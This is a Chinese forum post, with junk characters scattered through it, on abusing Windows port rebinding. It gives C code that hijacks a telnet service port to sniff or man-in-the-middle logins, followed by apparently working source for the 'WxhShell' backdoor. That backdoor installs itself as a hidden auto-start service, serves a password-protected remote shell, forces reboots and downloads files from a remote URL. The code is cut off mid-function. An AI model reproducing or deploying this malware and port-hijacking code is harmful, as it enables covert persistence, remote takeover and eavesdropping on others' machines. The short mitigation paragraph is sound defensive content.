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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SDO~g~NTp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^+Njz{rpG  
-v=tM6  
  saddr.sin_family = AF_INET; |T{ZDJ+  
5#::42oE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iOiXo6YE  
X [;n149o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Tvw(S q};  
y2Vc[o(NP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yppXecFJ  
2>.>q9J(  
  这意味着什么?意味着可以进行如下的攻击: l#a*w  
soqnr" 1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wD SSgk  
i~tps  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]#dZLm_  
q,]57s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MT<3OKo?:  
0p=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c}w[ T  
r]&&*:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'h 7n}  
:KsBJ>2ck  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4}Hf"L[ l  
Co`:D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X iM{YZ`B  
ar@ysBy  
  #include M+lI,j+  
  #include #J%Fi).^)  
  #include [Rzn>  
  #include    [}y"rs`!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kLbo |p"cT  
  int main() h|ja67VG  
  { @@|H8mP}H  
  WORD wVersionRequested; 3A el  
  DWORD ret; %j?7O00 @  
  WSADATA wsaData; >c.HH}O0W  
  BOOL val; ]v.Yt/&C{  
  SOCKADDR_IN saddr; ||.Ve,<:  
  SOCKADDR_IN scaddr; ;o.,vQF*  
  int err; >u=nGeO  
  SOCKET s; k_1o j[O  
  SOCKET sc; VqeW;8&*iv  
  int caddsize; cQh=Mri]  
  HANDLE mt; s$VLVT*6  
  DWORD tid;   op|x~Thf  
  wVersionRequested = MAKEWORD( 2, 2 ); Do;rY\sY  
  err = WSAStartup( wVersionRequested, &wsaData ); }j,G)\g#  
  if ( err != 0 ) { n7d`J_%s  
  printf("error!WSAStartup failed!\n"); Yq:TW eZD  
  return -1; e{0O "Jd`  
  } RueL~$*6.~  
  saddr.sin_family = AF_INET; 7s1LK/R|u  
   NjSjE_S2B8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  34~[dY  
zuvP\Y=V`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PSa"u5O  
  saddr.sin_port = htons(23); n/IDq$/P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V,:~FufM^  
  { kZS&q/6A*  
  printf("error!socket failed!\n"); m ,TYF  
  return -1; *. ; }v@  
  } IF|%.%I$!U  
  val = TRUE; I^S{V^Ty  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S]biN]+7s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RQ[6svfP  
  { JP 8v2) p  
  printf("error!setsockopt failed!\n"); mC84fss  
  return -1; 1iE*-K%Q  
  } S;S_<GX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BU;E6s>P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [E/8E h<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z#sSLE.$Z  
q.PXO3T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8 9f{8B]z  
  { Ib$?[  
  ret=GetLastError(); Y--Uo|H  
  printf("error!bind failed!\n"); xsXf_gGu  
  return -1; D~%h3HM  
  } _xU2C<)1&  
  listen(s,2); WG3 .qLH%  
  while(1) z>W'Ra6  
  { 7(KVA1P66  
  caddsize = sizeof(scaddr); +4k7ti1Qb  
  //接受连接请求 q=cH ^`<.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 84ma X'  
  if(sc!=INVALID_SOCKET) `Yc>I!iN  
  { X3rvM8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O.+X,CQG*  
  if(mt==NULL) aD8r:S\  
  { (Y]G6> Oa  
  printf("Thread Creat Failed!\n"); PQ[x A*  
  break; G G[$-  
  } MM4Eq>F/  
  } =k22f`8ew  
  CloseHandle(mt); 8VZLwhj  
  } +W9#^  
  closesocket(s); L\X 2Olfz1  
  WSACleanup(); i fbO<  
  return 0; &(HIBF'O  
  }   qW:\6aEG  
  DWORD WINAPI ClientThread(LPVOID lpParam) x$aFJ CL  
  { /|{~GD +A&  
  SOCKET ss = (SOCKET)lpParam; Po82nKAh  
  SOCKET sc; 5R7DD5c[  
  unsigned char buf[4096]; _ ?Z :m  
  SOCKADDR_IN saddr; *Ldno`1O  
  long num; yTL<S'  
  DWORD val; NKb,>TO  
  DWORD ret; XvspE}~y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `=cOTn52  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m;KD@E!  
  saddr.sin_family = AF_INET; zAdZXa[MRY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;?0r,0l2$  
  saddr.sin_port = htons(23); uPtS.j=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F^|4nBd*ub  
  { 6)~J5Fb  
  printf("error!socket failed!\n"); 2s:$4]K D  
  return -1; `.a~G y  
  } H:M;H =0  
  val = 100; KN9e""  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DG"Z:^`*  
  { \Lu] %}  
  ret = GetLastError(); 3F6=/  
  return -1; VCUEzR0  
  } A VbGJ+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ygquQhf5  
  { kI>PaZ`i)  
  ret = GetLastError(); p/!P kKJ  
  return -1; (}LLk +  
  } wsLfp82  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IF$*6 ,v.z  
  { &%4*~;o  
  printf("error!socket connect failed!\n"); *(sFr E  
  closesocket(sc); _l;$<]re\k  
  closesocket(ss); H '(Ky  
  return -1; /DBldL7yi  
  } $q~:%pQv  
  while(1) s>^$: wzu  
  { 1ti4 ZM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 * >XmJ6w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oaJnLd90W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c$HZvv  
  num = recv(ss,buf,4096,0); [Vaw$c-+[y  
  if(num>0) 6:vdo~  
  send(sc,buf,num,0); Xm! ;  
  else if(num==0) Iib39?D W  
  break; i5 F9*  
  num = recv(sc,buf,4096,0); R87e"m/C%  
  if(num>0) g x~fZOF_  
  send(ss,buf,num,0);  9> k-";  
  else if(num==0) v}AVIdR  
  break; >?Ps5n]b  
  } wO {-qrN  
  closesocket(ss); Zr.6J*&!  
  closesocket(sc); `upxM0gc  
  return 0 ; 9c_h+XN?y  
  } *N #{~  
;K9rE3  
1Xi.OGl  
========================================================== zn@yt%PCV  
NXw$PM|+R  
下边附上一个代码,,WXhSHELL >C|i^4ppI  
P@z,[,sy"$  
========================================================== ]TmxCTVL  
!:^lTvYWZH  
#include "stdafx.h" z3:tSjF  
hqKftk)+  
#include <stdio.h> b:w {7  
#include <string.h> ZNEWUt{+;^  
#include <windows.h> D,H v(6({  
#include <winsock2.h> qOk=:1`3  
#include <winsvc.h> 3'zm)SXJ  
#include <urlmon.h> It/IDPx4ga  
T1Q c?5K^  
#pragma comment (lib, "Ws2_32.lib") E5J2=xVW#  
#pragma comment (lib, "urlmon.lib") G*;6cV19  
eJ23$VM+9  
#define MAX_USER   100 // 最大客户端连接数 c$>$2[*=  
#define BUF_SOCK   200 // sock buffer pjP R3 r  
#define KEY_BUFF   255 // 输入 buffer ,y5 7tY  
jw"]U jub  
#define REBOOT     0   // 重启 |4@su"OA  
#define SHUTDOWN   1   // 关机 j%qBNoT~  
+w]KK6  
#define DEF_PORT   5000 // 监听端口 9 ZD4Gv   
J!GWP:b3  
#define REG_LEN     16   // 注册表键长度 1/H9(2{L  
#define SVC_LEN     80   // NT服务名长度 "/zIsn7  
?Hd/!I&  
// 从dll定义API mw*BaDN@Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #&cNR_"w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *N;# _0)/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 85 5JAf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Iw<: k  
dk^Uf84.Gr  
// wxhshell配置信息 7O,y%NWaK  
struct WSCFG { }RvP*i  
  int ws_port;         // 监听端口 oe8sixZ[  
  char ws_passstr[REG_LEN]; // 口令 2yyJ19Iul  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1eZ759PoO  
  char ws_regname[REG_LEN]; // 注册表键名 VHlN;6Qlff  
  char ws_svcname[REG_LEN]; // 服务名 Oa'DVfw2J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -$[o:dLO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2C!Ko"1Y'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s]"NqwIPK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |aT&rpt   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A80r@)i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tX$ v)O|  
EC4RA'Bg1k  
}; .qcIl)3  
POtj6 ?a  
// default Wxhshell configuration Oz[]]`C1  
struct WSCFG wscfg={DEF_PORT, SeC[,  
    "xuhuanlingzhe", &z@~n  
    1, "0(H! }D  
    "Wxhshell", U '#Xwax  
    "Wxhshell", <&+\X6w[  
            "WxhShell Service", 12yr_   
    "Wrsky Windows CmdShell Service", nYcj6?  
    "Please Input Your Password: ", z|o7k;raH  
  1, Me HlxI  
  "http://www.wrsky.com/wxhshell.exe", VoOh$&"M  
  "Wxhshell.exe" \!erP!$x .  
    }; KL8G2"Z  
YjTRz.e{[7  
// 消息定义模块 Wy[Ua#Dd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R*l#[D5A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3:XF7T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8<Y*@1*j  
char *msg_ws_ext="\n\rExit."; W?n)IBj8  
char *msg_ws_end="\n\rQuit."; ya<nD'%9  
char *msg_ws_boot="\n\rReboot..."; KZ"&c~[  
char *msg_ws_poff="\n\rShutdown..."; 9Dq^x&z(  
char *msg_ws_down="\n\rSave to "; u]W$' MyY  
]>33sb S6  
char *msg_ws_err="\n\rErr!"; 5u<F0$qHc  
char *msg_ws_ok="\n\rOK!"; [=})^t?8  
vbo:,]T<A  
char ExeFile[MAX_PATH]; 9\_^"5l  
int nUser = 0; ^Lx(if WJ  
HANDLE handles[MAX_USER]; P9Yw\   
int OsIsNt; Y~P1r]piB  
{W[OjPC~F  
SERVICE_STATUS       serviceStatus; O M]d}}=Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s7A3CY]->  
4pin\ZS:C  
// 函数声明 P;V$%r`yD  
int Install(void); fL #e4  
int Uninstall(void); R|jt mI?  
int DownloadFile(char *sURL, SOCKET wsh); 'UYxVh9D  
int Boot(int flag); U.fL uKt  
void HideProc(void); "G^Z>Z-`  
int GetOsVer(void); E^)>9f7  
int Wxhshell(SOCKET wsl); m zh8<w?ns  
void TalkWithClient(void *cs); Z#O )0ou  
int CmdShell(SOCKET sock); ps DY}y\"  
int StartFromService(void); b"lzR[X,e  
int StartWxhshell(LPSTR lpCmdLine); WRa4g  
 T\(w}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A)2eo<ij4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M@k8;_5  
l@ amAusE  
// 数据结构和表定义 (;9-8Y&_d  
SERVICE_TABLE_ENTRY DispatchTable[] = $ ]ew<j  
{ }#u.Of`6"  
{wscfg.ws_svcname, NTServiceMain},  b6`_;Z  
{NULL, NULL} =RA8^wI  
}; D%=VhKq  
H2ZRUFu  
// 自我安装 ;qA(!`h+  
int Install(void) ~o_zV'^f@o  
{ <|!?V"`3  
  char svExeFile[MAX_PATH]; pk%%}tP<  
  HKEY key; [tKH'}/s=  
  strcpy(svExeFile,ExeFile); #-]!;sY>  
:>:F6Db"U  
// 如果是win9x系统,修改注册表设为自启动 FZt a  
if(!OsIsNt) { v%ldg833l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N;YAG#'9~_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p;y\%i_  
  RegCloseKey(key); Y#VtZTcT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eWN[EJI<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9J*M~gKbz  
  RegCloseKey(key); X j>?P/=Z  
  return 0; ! sN~w  
    } yDuMn<=3  
  } m-< "`:+  
} X,] E {  
else { LU-,B?1  
YB`;<+sY  
// 如果是NT以上系统,安装为系统服务 '`)r<lYN,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T J!d 7  
if (schSCManager!=0) .T>^bLuFy  
{ 8h.Dc&V  
  SC_HANDLE schService = CreateService ^$N}[1   
  ( R{3?`x!fY  
  schSCManager, bAUruTn  
  wscfg.ws_svcname, O`;e^PhN  
  wscfg.ws_svcdisp, L@|xpq  
  SERVICE_ALL_ACCESS, #OQT@uF!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T 5AoBUw  
  SERVICE_AUTO_START, KW&vX%i(.  
  SERVICE_ERROR_NORMAL, Z[, A>tJ  
  svExeFile, ?;bsg 9  
  NULL, JO3x#1~;_  
  NULL, 33M10 1X{6  
  NULL, SHAC(3o /e  
  NULL, Rk8oshS+2  
  NULL "f Ni3 <x]  
  ); S [$Os7  
  if (schService!=0) 3pk=c-x  
  { .|VWYN  
  CloseServiceHandle(schService); Knjg`f  
  CloseServiceHandle(schSCManager); 3axbW f3[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *_ U=KpZF  
  strcat(svExeFile,wscfg.ws_svcname); ]c+HD*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z#( `H6n:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J)o =0i>*  
  RegCloseKey(key); 'yw7|i2  
  return 0; Bvai  
    } ?V{AP&#M$x  
  } $`wo8A|)  
  CloseServiceHandle(schSCManager); Iq[ d5)M4  
} z6Xn9  
} ,S%DHT  
vNA~EV02  
return 1; =SUCcdy&  
} Pf,lZU?f  
]\.3<^  
// 自我卸载 aANzL  
int Uninstall(void) mdB~~j  
{ @hG]Gs[,o  
  HKEY key; K:JM*4W  
sN8)p%'Lg  
if(!OsIsNt) { >T)#KQ1t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ol7^T  
  RegDeleteValue(key,wscfg.ws_regname); pR,eus;8  
  RegCloseKey(key); 79bt%P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <CIy|&J6  
  RegDeleteValue(key,wscfg.ws_regname); u&npUw^Va  
  RegCloseKey(key); 2Sha&Z*CE  
  return 0; !D!1%@ e  
  } iiWm>yy  
} yQ/E0>Uj!  
} Q2 S!}A  
else { ? kBX:(g  
YM`I&!n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -Z<V? SFOK  
if (schSCManager!=0) s~)I1G  
{ <0M 2qt8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I&s!}$cD  
  if (schService!=0) # VAL\Z  
  { i uGly~  
  if(DeleteService(schService)!=0) { 8ED}!;ZU  
  CloseServiceHandle(schService); ]T<\d-!CZN  
  CloseServiceHandle(schSCManager); t91z<Y|  
  return 0; 5_yu4{@;y  
  } bPL.8hX   
  CloseServiceHandle(schService); U~l.%mui  
  } b&_u+g  
  CloseServiceHandle(schSCManager); FhAYk  
} Dx*tolF  
} !=B=1th4  
r1R\cor  
return 1; tT`{xM  
} D3 .$Vl,.  
G1?m}{D)  
// 从指定url下载文件 7+c}D>/`:  
int DownloadFile(char *sURL, SOCKET wsh) EjjW%"C,  
{ 1(4}rB3  
  HRESULT hr; :vWixgLg  
char seps[]= "/"; 6qYK"^+xu  
char *token; 1m\ihU  
char *file; L_(Y[!  
char myURL[MAX_PATH]; /@xL {  
char myFILE[MAX_PATH]; .{t]Mc  
|k [hk  
strcpy(myURL,sURL); hha!uD~(  
  token=strtok(myURL,seps); dZ;rn!dg>  
  while(token!=NULL) s^lm 81;  
  { <%ZlJ_cM  
    file=token; U_oei3QP  
  token=strtok(NULL,seps); CeD(!1V G  
  } v;$cx*?  
;>jLRx<KC  
GetCurrentDirectory(MAX_PATH,myFILE); F*{1, gb  
strcat(myFILE, "\\"); mO0a: i!  
strcat(myFILE, file); %;-r->  
  send(wsh,myFILE,strlen(myFILE),0); L`@)*x)~R  
send(wsh,"...",3,0); 71wtO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zf *DC~E_  
  if(hr==S_OK) /~6)Vt  
return 0; dkI(&/  
else d:GAa   
return 1; m1{OaHxKh  
>DkRl  
} U!D\Vd  
!`qw" i  
// 系统电源模块 (|t)MnPfY  
int Boot(int flag) <HMmsw  
{ I5H#]U  
  HANDLE hToken; ,Z aPY  
  TOKEN_PRIVILEGES tkp; ki<4G  
} :9UI  
  if(OsIsNt) { yTpvKCC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m14OPZ<3?-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %5-   
    tkp.PrivilegeCount = 1; A"pV 7 y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LPK[^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T.B} k`$  
if(flag==REBOOT) { *R8qnvE\()  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M7. fz"M  
  return 0; 1Uf8ef1,  
} m>8tA+K)+)  
else { 1WJ%n;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6SVh6o@]  
  return 0; Ps=<@,dks  
} 0{Bhr12V  
  } 6e q`/~#  
  else { FTT=h0t  
if(flag==REBOOT) { Y1s3 >`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jQRl-[n  
  return 0; NoD\t(@h  
} ;{S7bH'6m  
else { m[E#$JZtG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y_A7CG"^  
  return 0; NI)q<@ju  
} Zrm!,qs  
} rwCjNky!  
kO'_g1f<[  
return 1; ^E|{i]j#f  
} ly)L%hG  
\h UE, ^  
// win9x进程隐藏模块 ; w+<yW}EL  
void HideProc(void) ^eHf'^Cvvu  
{ ~RIn7/A  
d`ESe'j:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bc ;(2D  
  if ( hKernel != NULL ) >^(Q4eU7!  
  { 3E`poE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |C_sP,W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BzyzOtBp3L  
    FreeLibrary(hKernel); 0$e]?]X6  
  } y+K21(z.  
 EWn\ ]f|  
return; <h<4R Rj  
} ]xf|xs  
,.PW qfb  
// 获取操作系统版本 _?J:Z*z?  
int GetOsVer(void) oMer+=vH  
{ x"xtILrI  
  OSVERSIONINFO winfo; Sh2;^6d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J2P5<  
  GetVersionEx(&winfo); bWOn`#+&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =sa bJsgL  
  return 1; 3|g]2|~w@h  
  else mbCY\vEl  
  return 0; 2%oo.?!R  
} '@ C\,E  
pGhA  
// 客户端句柄模块 3t^r;b  
int Wxhshell(SOCKET wsl) L?~-<k  
{ ^"hsbk&Yu  
  SOCKET wsh; "J(7fL$!  
  struct sockaddr_in client; T.R(  
  DWORD myID; j@b18wZ  
2Y'=~*tV  
  while(nUser<MAX_USER) d/3 k3HdL  
{ 8 ?+t+m[  
  int nSize=sizeof(client); 6:o?@%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >xa k  
  if(wsh==INVALID_SOCKET) return 1; 4zw5?$YWO"  
#w<:H1,4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jf'#2-   
if(handles[nUser]==0) BoMf#l.3B  
  closesocket(wsh); TRSR5D[  
else c7$U0JO  
  nUser++; l|onH;g\  
  } {V{*rq<)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K;}h u(*\]  
|Y42ZOK0  
  return 0;  _8G  
} v4V|j<R  
8LouCv(>  
// 关闭 socket 5 LZ+~!2+  
void CloseIt(SOCKET wsh) '5vgpmn  
{ std4Nyp  
closesocket(wsh); sG~5O\,E  
nUser--; h0)Wy>B=,  
ExitThread(0); qp@:Zqz8  
} wt@q+9:  
XCTee  
// 客户端请求句柄 I!;&#LT+b  
void TalkWithClient(void *cs) hiN6]jL|O  
{ -{A!zTw1w  
9G'Q3? z  
  SOCKET wsh=(SOCKET)cs; D{!NTr  
  char pwd[SVC_LEN]; "77 j(Vs9  
  char cmd[KEY_BUFF]; `1$7. ydQ  
char chr[1]; Vgh_F8G!V  
int i,j; N>$Nw<wV  
t6)wR  
  while (nUser < MAX_USER) { ,Uh7Q-vd  
/o19/Pvwm  
if(wscfg.ws_passstr) { kN)m"}gX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UEvRK?mm=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5$|wW}SA  
  //ZeroMemory(pwd,KEY_BUFF); *CH lg1  
      i=0; nD$CY K  
  while(i<SVC_LEN) { z$d/Vz,a  
,\FJVS;NeJ  
  // 设置超时 Y M_\ ZK:  
  fd_set FdRead; i-b++R/WN  
  struct timeval TimeOut; 7xOrG],E  
  FD_ZERO(&FdRead); wER>a (  
  FD_SET(wsh,&FdRead); '14 G0<;yL  
  TimeOut.tv_sec=8; 54Baz  
  TimeOut.tv_usec=0; xM/B"SG2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]B<Hrnn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [V5ebj:6w  
Bk~lE]Q3c7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,\|W,N}~  
  pwd=chr[0]; x_JCH7-  
  if(chr[0]==0xd || chr[0]==0xa) { ^/3R/;?  
  pwd=0; }D7q)_g=  
  break; yB7=8 Pcx  
  } eoS8e$}  
  i++; J/j?;qx]j  
    } Xw=>L#Q  
DFz,>DM;  
  // 如果是非法用户,关闭 socket oXc!JZ^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fvy__ qcHi  
} n0T\dc~  
u(7PtmV[!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5_ @8g+~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m q`EM OH  
%r0yBK2uOp  
while(1) { _91g=pM   
8xQ5[Ov  
  ZeroMemory(cmd,KEY_BUFF); zUM;Qwl  
*N .f_s  
      // 自动支持客户端 telnet标准   J>YwMl  
  j=0; !79^M  
  while(j<KEY_BUFF) { wjF/c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h7NS9CgO  
  cmd[j]=chr[0]; O;9'0-F ?  
  if(chr[0]==0xa || chr[0]==0xd) { -;TqdL@  
  cmd[j]=0; ?*~W  
  break; bUf2uWy7  
  } [<Wo7G1s  
  j++; x.CNDG  
    } /HsJyp+t  
*7C t#GC  
  // 下载文件 +s:!\(BM  
  if(strstr(cmd,"http://")) { -v4kW0G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a W`q  
  if(DownloadFile(cmd,wsh)) _-&\~w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Cx07I_lf  
  else [lpzUB}<Yp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |hjm^{!TpW  
  } ~n$VCLa  
  else { fPf8hz>  
ca@0?q#  
    switch(cmd[0]) { 6.},y<E  
  }&)X4=  
  // 帮助 TC80nP   
  case '?': { /vi>@a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m]8rljo  
    break; 4tR:O#($V  
  } MO+g*N  
  // 安装 sv0) sL  
  case 'i': { wR\Y+Z   
    if(Install()) Kv'2^B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \0iF <0oy  
    else VLuhURI)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gnW `|-:\  
    break; <=A1d\   
    } kh /n|2  
  // 卸载 O(8Px  
  case 'r': { 5:%xuJD  
    if(Uninstall()) ~6z<tyD^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {OP[Rrm  
    else sas}k7m"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7*8R:X+^r  
    break; m$ZPQ0X  
    } @U CGsw  
  // 显示 wxhshell 所在路径 =7@N'xX  
  case 'p': { {ZiJnJX  
    char svExeFile[MAX_PATH]; *2ZX*w37  
    strcpy(svExeFile,"\n\r"); /s"mqBXCG  
      strcat(svExeFile,ExeFile); ;Bk?,g  
        send(wsh,svExeFile,strlen(svExeFile),0); x2 *l5t  
    break; I@a y&NNh  
    } HV-c DL  
  // 重启 ;0ap#6T  
  case 'b': { )mw#MTv<[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +:3K?G -  
    if(Boot(REBOOT)) -&JUg o=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t{#B td  
    else { FS7 _ldD  
    closesocket(wsh); >J+'hm@  
    ExitThread(0); C?jk#T  
    } >58N P1[k  
    break; j+He8w-4  
    } <rZ( B>$  
  // 关机 K' xN>qc  
  case 'd': { S)T]>Ash  
